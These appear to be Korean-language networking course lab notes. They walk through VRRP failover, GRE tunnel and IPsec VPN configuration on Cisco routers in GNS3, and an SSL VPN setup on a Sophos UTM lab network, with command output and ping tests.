84 bytes from 192.168.10.11 icmp_seq=2 ttl=62 time=60.667 ms
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=61.387 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=61.043 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.058 ms

R1 라우터 복구하기 위해서 start를 한다.
R1 라우터가 장애가 복구되는 순간 R2 라우터에서-&gt; Backup 으로 변경된다.
R2#
*Mar  1 01:18:53.763: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Master -&gt; Backup
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1   

R1 라우터는  state 상태가 Master가 된다.
R1#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1  

R1 라우터의 장애가 복구 되었으므로 R1 라우터가 Master 가 되므로 패킷은 R1 라우터로 가는 것을 확인할 수 있다.
PC2&gt; ping 192.168.10.11
192.168.10.11 icmp_seq=1 timeout
192.168.10.11 icmp_seq=2 timeout
192.168.10.11 icmp_seq=3 timeout
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=60.200 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.172 ms

PC2&gt; trace 192.168.10.11
trace to 192.168.10.11, 8 hops max, press Ctrl+C to stop
 1   172.16.10.2   15.171 ms  30.578 ms  14.339 ms   &lt;-- 여기 부분
 2   192.168.0.2   45.009 ms  45.779 ms  45.684 ms
 3   *192.168.10.11   60.696 ms (ICMP type:3, code:3, Destination port unreachable)
</code></pre><blockquote>
<p><strong>실습&gt; GRE 터널 설정하기</strong></p>
</blockquote>
<pre><code>참고: https://cafe.naver.com/linuxmasternet/1716

파일명: gre.gns

네트워크 토폴로지

                        1.1.1.0/24      2.2.2.0/24 
      192.168.10.0/24         |               |          10.10.20.0/24
            |               |               |               |
  [PC1]------------[R1]------------[R2]------------[R3]------------[PC2]
                f0/0  f0/1      f0/0  f0/1      f0/1  f0/0    
      .1        .253  .1          .2  .2          .1  .253         .1
                      +----------------------------+
                 .1 tunnel0  192.168.100.0/24  tunnel0 .2
                      +----------------------------+  

파일명: GRE.gns3

GRE (Generic Routing Encapsulation)
- Cisco에서 개발한 터널링 프로토콜로 산업 표준으로 사용된다.
- 다양한 종류의 Passenger Protocol을 Encapsulation하여 전달한다.
- Tunneling 기능만 제공하고 데이터 암호화는 제공하지 않는다.
- GRE(Tunnel) + IPsec(Encryption)의 구성으로 VPN을 구축한다.


1. GNS 네트워크 설정
고정/유동 IP주소를 설정한다.
eth0: 192.168.101.128/24
eth1: 192.168.108.134/24

2. PC1 설정
ip 192.168.10.1 255.255.255.0 192.168.10.253 
sh ip

3. R1 설정
!R1
conf t
 int fa0/0
 ip addr 192.168.10.253 255.255.255.0
 no sh
 int fa0/1
 ip addr 1.1.1.1 255.255.255.0
 no sh
 ip route 0.0.0.0 0.0.0.0 1.1.1.2
!

4. R2 설정
!R2
conf t
 int fa0/0
 ip addr 1.1.1.2 255.255.255.0
 no sh
 int fa0/1
 ip addr 2.2.2.2 255.255.255.0
 no sh
!

ping 테스트를 위해서 아래 두 네트워크의 라우팅을 설정한다.
이 설정은 GRE를 설정하면 삭제한다.
현재 R2에서 설정하지 않았기 때문에 삭제하지 않아도 된다.
!
 no ip route 192.168.10.0 255.255.255.0 1.1.1.1
 no ip route 10.10.20.0 255.255.255.0 2.2.2.1
!

5. R3 설정
!R3
conf t
 int fa0/0
 ip addr 10.10.20.253 255.255.255.0
 no sh
 int fa0/1
 ip addr 2.2.2.1 255.255.255.0
 no sh
 ip route 0.0.0.0 0.0.0.0 2.2.2.2
!

6. PC2 설정
ip 10.10.20.1 255.255.255.0 10.10.20.253 
sh ip

7. 통신 확인
ping 테스트를 할 때 R1과 R3 사이에 와이어샤크로 확인한다.
R2에서 라우팅이 설정이 안되어 있으므로 통신이 불가능한다.
PC1&gt; ping 10.10.20.1
10.10.20.1 icmp_seq=1 timeout
10.10.20.1 icmp_seq=2 timeout
10.10.20.1 icmp_seq=3 timeout
10.10.20.1 icmp_seq=4 timeout
10.10.20.1 icmp_seq=5 timeout

PC2&gt; ping 192.168.10.1
192.168.10.1 icmp_seq=1 timeout
192.168.10.1 icmp_seq=2 timeout
192.168.10.1 icmp_seq=3 timeout
192.168.10.1 icmp_seq=4 timeout
192.168.10.1 icmp_seq=5 timeout

8. GRE 터널 설정
가상의 GRE 터널 인터페이스를 설정한다.
!R1
 int tunnel 0
 ip addr 192.168.100.1 255.255.255.0
 tunnel source 1.1.1.1 
 tunnel destination 2.2.2.1
 tunnel mode gre ip 
!

!R3
 int tunnel 1
 ip addr 192.168.100.2 255.255.255.0
 tunnel source 2.2.2.1
 tunnel destination 1.1.1.1
 tunnel mode gre ip
!

GRE 터널 라우팅을 설정한다.
!R1
 ip route 10.10.20.0 255.255.255.0 192.168.100.2
!

!R3 
 ip route 192.168.10.0 255.255.255.0 192.168.100.1
!

GRE 터널 설정이 완료되면 ping 테스트를 위해서 설정한 아래 두 라우팅 설정을 삭제한다.
!
!R2
R2(config)#no ip route 192.168.10.0 255.255.255.0 1.1.1.1
R2(config)#no ip route 10.10.20.0 255.255.255.0 2.2.2.1
!

9. 통신 확인
ping 테스트를 할 때 R1과 R3 사이에 와이어샤크로 확인한다.
패킷을 확인해보면 GRE 터널로 통신이 되는 것을 확인할 수 있다.
PC1&gt; ping 10.10.20.1
PC2&gt; ping 192.168.10.1

10. 와이어샤크 분석
와이어샤크로 ping 패킷을 분석한다. 
</code></pre><blockquote>
<p><strong>실습&gt; PPTP, L2TP 설정하기</strong></p>
</blockquote>
<pre><code>참고: https://cafe.naver.com/linuxmasternet/1724

IPSec
참고: terms.naver.com/entry.naver?docId=3377003&amp;cid=40942&amp;categoryId=32851
</code></pre><blockquote>
<p><strong>실습&gt; IPsec VPN 설정하기</strong></p>
</blockquote>
<pre><code>https://cafe.naver.com/linuxmasternet/1723
https://cafe.naver.com/linuxmasternet/1719

파일명: vpn.gns3

IKE(Internet Key Exchage) ISAKMP(Inernet Security Association and Key Management Protocol)는
처음 통신 당사자를 인증하고 보안통신에 필요한 보안정책 집합인 SA(Security Association)를 결정하고
보안통신에 필요한 여러가지 키를 결정하기 위한 프로토콜이다.

SA(Security Association)란 보안 통신을 위해 필요한 여러가지 알고리즘 및 정책의 집합을 말한다.
예를 들어서 ISAKMP 프로토콜을 암호화하기 위해서 AES라는 암호화 방식을 사용하고 무결성 확인을 위해서 MD5알고리즘을 사용한다면
이와 같은 여러가지 보안 정책의 집합을 ISAKMP SA라고 한다.

실제 데이터를 IPsec으로 송수신하기 위해서 3DES, SHA-1등과 같은 보안정책을 사용한다면 이 보안 정책의 집합을 IPsec SA라고 한다.

ESP(Encapsulating Security Payload)는 데이터를 암호화시키고 무결성 확인 기능이 있다.

IKE 1단계 (메인 모드: main mode)  6번 통신
R1                R2
 ------------------&gt;  ISAKMP SA 제안 (인증=PSK, 암호화=AES, 해싱=MD5, DH=그룹2)
 &lt;------------------  ISAKMP SA 선택 (인증=PSK, 암호화=AES, 해싱=MD5, DH=그룹2)
 ------------------&gt;  디피 헬먼 키 교환(R1의 공개키, R1이 생성한 임의의 수)
 &lt;------------------  디피 헬먼 키 교환(R2의 공개키, R2가 생성한 임의의 수)
--------------------&gt; 인증(암호화된 ID와 해시코드)
&lt;-------------------  인증(암호화된 ID와 해시코드)

IKE 2단계 보안정책 협상 (퀵모드: quick mode)  3번 통신
--------------------&gt; IPsec SA 제안 (암호화/해싱 알고리즘, 보호대상 네트워크...)
&lt;-------------------- IPsec SA 선택 (암호화/해싱 알고리즘, 보호대상 네트워크...)
--------------------&gt; 수신확인



작업 순서
1. 네트워크를 설정
2. IPsec VPN 설정
- IKE 1단계 정책을 설정한다.
- IKE 2단계 정책을 설정한다.
- 크립토 맵을 만들고 인터페이스에 적용한다.

1. 네트워크 설정
PC의 네트워크를 설정한다.
PC1&gt; ip 10.1.10.1 255.255.255.0 10.1.10.254
Checking for duplicate address...
PC1 : 10.1.10.1 255.255.255.0 gateway 10.1.10.254

PC1&gt; sh ip

NAME        : PC1[1]
IP/MASK     : 10.1.10.1/24
GATEWAY     : 10.1.10.254
DNS         : 
MAC         : 00:50:79:66:68:00
LPORT       : 10036
RHOST:PORT  : 127.0.0.1:10037
MTU:        : 1500


PC2&gt; ip 10.1.40.4 255.255.255.0 10.1.40.254
Checking for duplicate address...
PC1 : 10.1.40.4 255.255.255.0 gateway 10.1.40.254

PC2&gt; sh ip

NAME        : PC2[1]
IP/MASK     : 10.1.40.4/24
GATEWAY     : 10.1.40.254
DNS         : 
MAC         : 00:50:79:66:68:01
LPORT       : 10038
RHOST:PORT  : 127.0.0.1:10039
MTU:        : 1500


PC3&gt; ip 10.1.50.5 255.255.255.0 10.1.50.254
Checking for duplicate address...
PC1 : 10.1.50.5 255.255.255.0 gateway 10.1.50.254

PC3&gt; sh ip

NAME        : PC3[1]
IP/MASK     : 10.1.50.5/24
GATEWAY     : 10.1.50.254
DNS         : 
MAC         : 00:50:79:66:68:02
LPORT       : 10040
RHOST:PORT  : 127.0.0.1:10041
MTU:        : 1500


라우터의 네트워크를 설정한다.
!R1
conf t
 int f0/0
 ip add 10.1.10.254 255.255.255.0
 no sh
 int s0/0
 ip add 10.1.12.1 255.255.255.0
 no sh
!
 router eigrp 1
 network 10.1.10.0 0.0.0.255
 network 10.1.12.0 0.0.0.0
 no auto-summary    
!



!R2
conf t
 int s0/0
 ip add 10.1.12.2 255.255.255.0
 no sh
 int s0/1
 ip add 1.1.23.2 255.255.255.0
 no sh
!
 router eigrp 1
 network 10.1.12.0 0.0.0.255
 network 1.1.23.0 0.0.0.255 
 no auto-summary  
!

!R3
conf t
 int s0/1
 ip add 1.1.23.3 255.255.255.0
 no sh
 int s0/2
 ip add 1.1.34.3 255.255.255.0
 no sh
 int s0/3
 ip add 1.1.35.3 255.255.255.0
 no sh
!
 router eigrp 1
 network 1.1.23.0 0.0.0.255
 network 1.1.34.0 0.0.0.255 
 network 1.1.35.0 0.0.0.255
 no auto-summary  
!

!R4
conf t
 int f0/0
 ip add 10.1.40.254 255.255.255.0
 no sh
 int s0/2
 ip add 1.1.34.4 255.255.255.0 
 no sh
!
 router eigrp 1
 network 10.1.40.0 0.0.0.255
 network 1.1.34.0 0.0.0.255
 no auto-summary   
!

!R5
conf t
 int f0/0
 ip add 10.1.50.254 255.255.255.0
 no sh
 int s0/3
 ip add 1.1.35.5 255.255.255.0
 no sh
!
 router eigrp 1
 network 10.1.50.0 0.0.0.255
 network 1.1.35.0 0.0.0.255
 no auto-summary   
!

디폴트 루트를 설정한다.
!R2
 ip route 0.0.0.0 0.0.0.0 1.1.23.3

!R4
 ip route 0.0.0.0 0.0.0.0 1.1.34.3

!R5
 ip route 0.0.0.0 0.0.0.0 1.1.35.3

통신 확인
R2#ping 1.1.34.4
R2#ping 1.1.35.5


R2 ACL 설정
경계 라우터인 R2에서 ACL을 설정한다.
ACL 설정이 꼭 필요한 것은 아니지만 IPsec VPN의 동작을 확인하는데 도움이 된다.
!R2
 ip access-list extended ACL-INBOUND
 permit udp host 1.1.34.4 eq 500 host 1.1.23.2 eq 500
 permit udp host 1.1.35.5 eq 500 host 1.1.23.2 eq 500  
 permit esp host 1.1.34.4 host 1.1.23.2
 permit esp host 1.1.35.5 host 1.1.23.2
 exit
 do sh access-lists

 int s0/1
 ip access-group ACL-INBOUND in

2. IPsec VPN 설정

ISAKMP 등록 명령어
Pahse1 설정 - 마스터 키 생성
1. (config)# crypto isakmp policy [정책 식별 번호]
2. (config-isakmp)# encryption [대칭키 알고리즘] [키 사이즈]  
3. (config-isakmp)# authentication [인증 방식]  
4. (config-isakmp)# hash [hash 알고리즘]  
5. (config-isakmp)# group [DH그룹 번호] 
6. (config-isakmp)# lifetime [VPN 지속시간]  
7. (config)# crypto isakmp key [비밀번호] address [상대 장비 IP] [서브넷 마스크]


설명 
1. ISAKMP 보안 정책을 만든다. 정책 번호는 1~10000까지 사용 가능하며, 낮은 번호가 우선 적용된다.
2. 암호화 알고리즘을 선택한다.
3. 데이터 무결성을 체크한다.
4. 해쉬 알고리즘을 선택한다.
5. 번호가 높을 수록 강력한 암호화를 제공한다.
6. 시간 범위는 60~86400초이며, 양측 수명이 다르면 짧은 것을 적용한다.


Pahse2 설정 - 세션 키 생성
1. (config)# crypto ipsec transform-set [정책 식별 이름] [IPsec 암호화 알고리즘] [인증 알고리즘]
2. (config-crypto-trans)# mode [IPsec 연결 모드]
3. (config)# crypto map [정책 식별 이름] [정책 식별 번호] ipsec-isakmp
4. (config-crypto-map)# match address [IPsec 통신데이터 - ACL]
5. (config-crypto-map)# set peer [상대 장비 주소]
6. (config-crypto-map)# set transform-set [암호화 적용할 IPsec 정책 이름]
7. (config-if)# crypto map [정책 식별 이름]


설명 
1. 암호화 방법 및 Hash를 정의한다.
2. mode의 기본 설정 값은 tunnle이다.
3~6. 적용할 정책을 구성한다.
7. crypto map을 인터페이스에 적용한다.

본사의 IPsec VPN 설정

IKE 1단계 정책을 설정한다.
!R2
sh crypto isakmp policy
conf t
 crypto isakmp policy 10
 encryption aes
 authentication pre-share
 group 2
 exit
 crypto isakmp key cisco address 1.1.34.4
 crypto isakmp key cisco address 1.1.35.5  


IKE 2단계 정책을 설정한다.
!R2
 ip access-list extended R4
 permit ip 10.1.10.0 0.0.0.255 10.1.40.0 0.0.0.255
 permit ip 10.1.12.0 0.0.0.255 10.1.40.0 0.0.0.255
 permit ip 10.1.50.0 0.0.0.255 10.1.40.0 0.0.0.255
 ip access-list extended R5
 permit ip 10.1.10.0 0.0.0.255 10.1.50.0 0.0.0.255
 permit ip 10.1.12.0 0.0.0.255 10.1.50.0 0.0.0.255
 permit ip 10.1.40.0 0.0.0.255 10.1.50.0 0.0.0.255
 exit

IKE 2단계 SA 보안 알고리즘
 crypto ipsec transform-set PHASE2-POLICY esp-aes esp-md5-hmac 

R2#sh crypto ipsec transform-set 
Transform set PHASE2-POLICY: { esp-aes esp-md5-hmac  } 
   will negotiate = { Tunnel,  }, 


크립토 맵을 만든다.
앞서 지정한 보호대상 네트워크, 보안 알고리즘 종류 등을 하나로 묶기 위해서 크립토 맵(crypto map)을 만든다.
!R2
conf t
 crypto map VPN 10 ipsec-isakmp
 match address R4
 set peer 1.1.34.4
 set transform-set PHASE2-POLICY
 exit
 crypto map VPN 20 ipsec-isakmp
 match address R5
 set peer 1.1.35.5
 set transform-set PHASE2-POLICY
 exit

크립토 맵을 인터페이스에 적용한다.
 int s0/1
 crypto map VPN
 end


R2#sh crypto isakmp policy           

Global IKE policy
Protection suite of priority 10
    encryption algorithm:    AES - Advanced Encryption Standard (128 bit keys).
    hash algorithm:        Secure Hash Standard
    authentication method:    Pre-Shared Key
    Diffie-Hellman group:    #2 (1024 bit)
    lifetime:        86400 seconds, no volume limit
Default protection suite
    encryption algorithm:    DES - Data Encryption Standard (56 bit keys).
    hash algorithm:        Secure Hash Standard
    authentication method:    Rivest-Shamir-Adleman Signature
    Diffie-Hellman group:    #1 (768 bit)
    lifetime:        86400 seconds, no volume limit

R2#sh crypto ipsec transform-set     
Transform set PHASE2-POLICY: { esp-aes esp-md5-hmac  } 
   will negotiate = { Tunnel,  }, 

R2#sh crypto map 
Crypto Map &quot;VPN&quot; 10 ipsec-isakmp
    Peer = 1.1.34.4
    Extended IP access list R4
        access-list R4 permit ip 10.1.10.0 0.0.0.255 10.1.40.0 0.0.0.255
        access-list R4 permit ip 10.1.12.0 0.0.0.255 10.1.40.0 0.0.0.255
        access-list R4 permit ip 10.1.50.0 0.0.0.255 10.1.40.0 0.0.0.255
    Current peer: 1.1.34.4
    Security association lifetime: 4608000 kilobytes/3600 seconds
    PFS (Y/N): N
    Transform sets={ 
        PHASE2-POLICY, 
    }

Crypto Map &quot;VPN&quot; 20 ipsec-isakmp
    Peer = 1.1.35.5
    Extended IP access list R5
        access-list R5 permit ip 10.1.10.0 0.0.0.255 10.1.50.0 0.0.0.255
        access-list R5 permit ip 10.1.12.0 0.0.0.255 10.1.50.0 0.0.0.255
        access-list R5 permit ip 10.1.40.0 0.0.0.255 10.1.50.0 0.0.0.255
    Current peer: 1.1.35.5
    Security association lifetime: 4608000 kilobytes/3600 seconds
    PFS (Y/N): N
    Transform sets={ 
                PHASE2-POLICY, 
    }
    Interfaces using crypto map VPN:
        Serial0/1


와이어 샤크를 이용해서 패킷을 모니터링을 한다.
모니터링 구간은 두 군데이며 R3 &lt;--&gt; R4, R3 &lt;--&gt; R5 이다.

지사 R4의 IPsec VPN 설정

!R4
conf t
 crypto isakmp policy 10
 encryption aes
 authentication pre-share
 group 2
 exit
 crypto isakmp key cisco address 1.1.23.2

IKE 2단계 정책을 설정한다.
!R4
 ip access-list extended R2
 permit ip 10.1.40.0 0.0.0.255 10.1.10.0 0.0.0.255
 permit ip 10.1.40.0 0.0.0.255 10.1.12.0 0.0.0.255
 permit ip 10.1.40.0 0.0.0.255 10.1.50.0 0.0.0.255
 exit
 crypto ipsec transform-set PHASE2-POLICY esp-aes esp-md5-hmac 
 exit

크립토 맵을 만든다.
앞서 지정한 보호대상 네트워크, 보안 알고리즘 종류 등을 하나로 묶기 위해서 크립토 맵(crypto map)을 만든다.
!R4
 crypto map VPN 10 ipsec-isakmp
 match address R2
 set peer 1.1.23.2
 set transform-set PHASE2-POLICY
 exit

크립토 맵을 인터페이스에 적용한다.
 int s0/2
 crypto map VPN
 exit 


지사 R5의 IPsec VPN 설정

!R5
conf t
 crypto isakmp policy 10
 encryption aes
 authentication pre-share
 group 2
 exit
 crypto isakmp key 6 cisco address 1.1.23.2

IKE 2단계 정책을 설정한다.
!R5
 ip access-list extended R2
 permit ip 10.1.50.0 0.0.0.255 10.1.10.0 0.0.0.255
 permit ip 10.1.50.0 0.0.0.255 10.1.12.0 0.0.0.255
 permit ip 10.1.50.0 0.0.0.255 10.1.40.0 0.0.0.255
 exit
 crypto ipsec transform-set PHASE2-POLICY esp-aes esp-md5-hmac 
 exit

크립토 맵을 만든다.
앞서 지정한 보호대상 네트워크, 보안 알고리즘 종류 등을 하나로 묶기 위해서 크립터 맵(crypto map)을 만든다.
!R5
 crypto map VPN 10 ipsec-isakmp
 match address R2
 set peer 1.1.23.2
 set transform-set PHASE2-POLICY
 exit

크립토 맵을 인터페이스에 적용한다.
 int s0/3
 crypto map VPN
 exit 


IPsec VPN 동작 확인
!R2
 clear access-list counters
 sh crypto isakmp peers

ping test를 통해 통신이 되는지 확인하고 와이어 샤크로 main mode, quick mode, ESP 패킷을 확인한다.
R1#ping 10.1.40.4
</code></pre><blockquote>
<p>*<em>실습&gt; OpenVPN *</em></p>
</blockquote>
<pre><code>오픈소스 VPN으로 리눅스에서 구축할 수 있는 VPN 패키지
</code></pre><blockquote>
<p><strong>실습&gt; SSL VPN 설정하기</strong></p>
</blockquote>
<pre><code>***** 동영상을 참고한다 *****

-- UTM1 네트워크 구성도 --

192.168.108.1 : Host OS
192.168.108.100 : CentOS 7,    F/W(NIDS) F/W에 Snort 를 설치한다.
192.168.108.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)
192.168.108.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
192.168.108.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
192.168.108.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
192.168.108.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)
192.168.108.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
192.168.108.200 : Kali Linux,  Attacker 

                  192.168.108.110  -------------------------------------------------------+ 
                  192.168.108.105                  DNAT                                   |
                  192.168.108.104(DBMS)                                                   |
                  192.168.108.103:80 -------------------------------+                     |
192.168.108.80    192.168.108.102:80 ------------------------+      |                     |
Windws 7          192.168.108.101:80 -----------------+      |      |                     |
  |               192.168.108.0/24                    |      |      |                     |
  |          108.150  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM1 ] ------- 내부망   |      |      |                     |
  |      eth2(vmnet2) |    |  eth1(vmnet1)            |80    |80    |80                   |
  |           102.253 |      101.253                  |      |      |                     |
  |          &lt;--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
192.168.108.1         |                                |      |      |      ^
                    Windows XP                         |      |      |      |
                     .105                              +------+------+------+
                    ens38(vment2)                      웹서버 모두 DBMS 서버를 사용
                 192.168.102.0/24                          ens33 (vmnet1)



UTM: 
VMnet8 192.168.108.150
DMZ 192.168.101.253
Internal 192.168.102.253

Windows XP: 
VMnet2 192.168.102.105/24, GW: 192.168.102.253
firewall: off  &lt;-- firewall.cpl -&gt; 방화벽 사용 안함

Windows 7:
VMnet8 192.168.108.80/24, GW; 기본 게이트웨이 설정 X

Windows 7에서 Gateway 설정이 되어 있는 경우
Windows 7에서 Windows XP로 ping test로 확인한다.
C:\&gt;ping 192.168.102.105

Ping 192.168.102.105 32바이트 데이터 사용:
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=128

192.168.102.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 1ms, 평균 = 1ms

C:\&gt;tracert -d  192.168.102.105

최대 30홉 이상의 192.168.102.105(으)로 가는 경로 추적

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  192.168.108.2
  2    &lt;1 ms    &lt;1 ms    &lt;1 ms  192.168.102.105

추적을 완료했습니다.

Windows 7에서 Gateway 설정이 안되어 있는 경우
윈도우 7에서 기본 GW가 없으므로 192.168.102.105로 ping을 치면 통신이 안된다.
C:\Users\user&gt;ping 192.168.102.105

Ping 192.168.102.105 32바이트 데이터 사용:
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.

192.168.102.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 0, 손실 = 4 (100% 손실),


1. VPN 사용자 등록
[Definitions &amp; Users] &gt; [Users &amp; Groups] &gt; [+ New User...]
Add User
Username: vpn01
Realname: vpn01
Email address: aa@a.com
Password: P@ssw0rd , Repeat: P@ssw0rd
Comment: VPN 테스트 사용자

2. SSL VPN 설정
[Remote Access] &gt; [SSL] &gt; [Profiles] &gt; [+ New Remote Access Profil ...]
Users and Groups: vpn01 선택 
Local Networks: internal(network)
Automatic firewall rules: 반드시 체크
Comment: SSLVPN 테스트

3. 설정 탭
[Remote Access] &gt; [SSL] &gt; [Settings]
Interface Address: External(Address) 192.168.108.150
Protocol: TCP
Port: 443
Override hostname: 192.168.108.150

Apply 버튼을 클릭한다.

Virtual IP Pool
Pool network: VPN Pool(SSL)  &lt;-- 10.242.10.0/24

4. 관리 
[Management] &gt; [User Portal]
글로벌 -&gt; 최종 사용자 포털: 활성화 
Allowed Networks: any (0.0.0.0) -&gt; 적용
에러가 발생해도 OK 버튼을 누르면 설정된다.

5. IP주소 확인
cmd에서 ipconfig로 네트워크를 확인한다.
C:\&gt;ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 192.168.108.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


6. 사이트 접속
Windows 7에서 크롬으로 아래 사이트를 접속한다.
https://192.168.108.150 접속하면 User Portal이 나오고 로그인을 한다.

사용자이름: vpn01
비밀번호: P@ssword

로그인 후 원격접속 탭을 클릭하면 SSL VPN 메뉴가 나오고 첫 번째 프로그램 다운로드 후 설치

================ 첫 번째 프로그램 ================ 
Windows Vista/7/8용 클라이언트 소프트웨어, 키 및 자동 구성을 
포함하여 전체 설치 패키지를 다운로드 하려면 여기를 클릭하십시오.    
=============================================== 

프로그램 설치가 완료되면 트래이 아이콘 부분에 신호등이 생기고 신호등을 클릭한 후 
로그인창이 뜨면 username/password에 아래처럼 선택하고 접속한다.
userid : vpn01
userpw : P@ssw0rd

6. 통신 확인
cmd -&gt; ipconfig 
ping 192.168.102.105

C:\&gt;ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::a1cd:d5d8:327d:b9d4%22
   IPv4 주소 . . . . . . . . . : 10.242.2.6
   서브넷 마스크 . . . . . . . : 255.255.255.252
   기본 게이트웨이 . . . . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 192.168.108.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


내부망 Windows XP와 ping test로 통신을 확인한다.
C:\&gt;ping 192.168.102.105

Ping 192.168.102.105 32바이트 데이터 사용:
192.168.102.105의 응답: 바이트=32 시간&lt;1ms TTL=127
192.168.102.105의 응답: 바이트=32 시간=1ms TTL=127
192.168.102.105의 응답: 바이트=32 시간&lt;1ms TTL=127
192.168.102.105의 응답: 바이트=32 시간&lt;1ms TTL=127

192.168.102.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms
</code></pre><blockquote>
<p><strong>실습&gt; SSL VPN 설정하기</strong></p>
</blockquote>
<pre><code>***** 현재 변경된 네트워크에서 설정한다. *****

-- UTM1 네트워크 구성도 --


네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24

200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  &lt;-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  &lt;-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          &lt;--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth0(vmnet1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                          ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 




UTM: 
VMnet8 200.200.200.200
DMZ 172.16.10.253
Internal 192.168.10.253

Windows XP: 
VMnet2 192.168.10.105/24, GW: 192.168.10.253
firewall: off  &lt;-- firewall.cpl -&gt; 방화벽 사용 안함

Windows 7:
VMnet8 200.200.200.80/24, GW; 기본 게이트웨이 설정 X

Windows 7에서 Gateway 설정이 되어 있는 경우
Windows 7에서 Windows XP로 ping test로 확인한다.
C:\&gt;ping 192.168.10.105

Ping 192.168.10.105 32바이트 데이터 사용:
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128
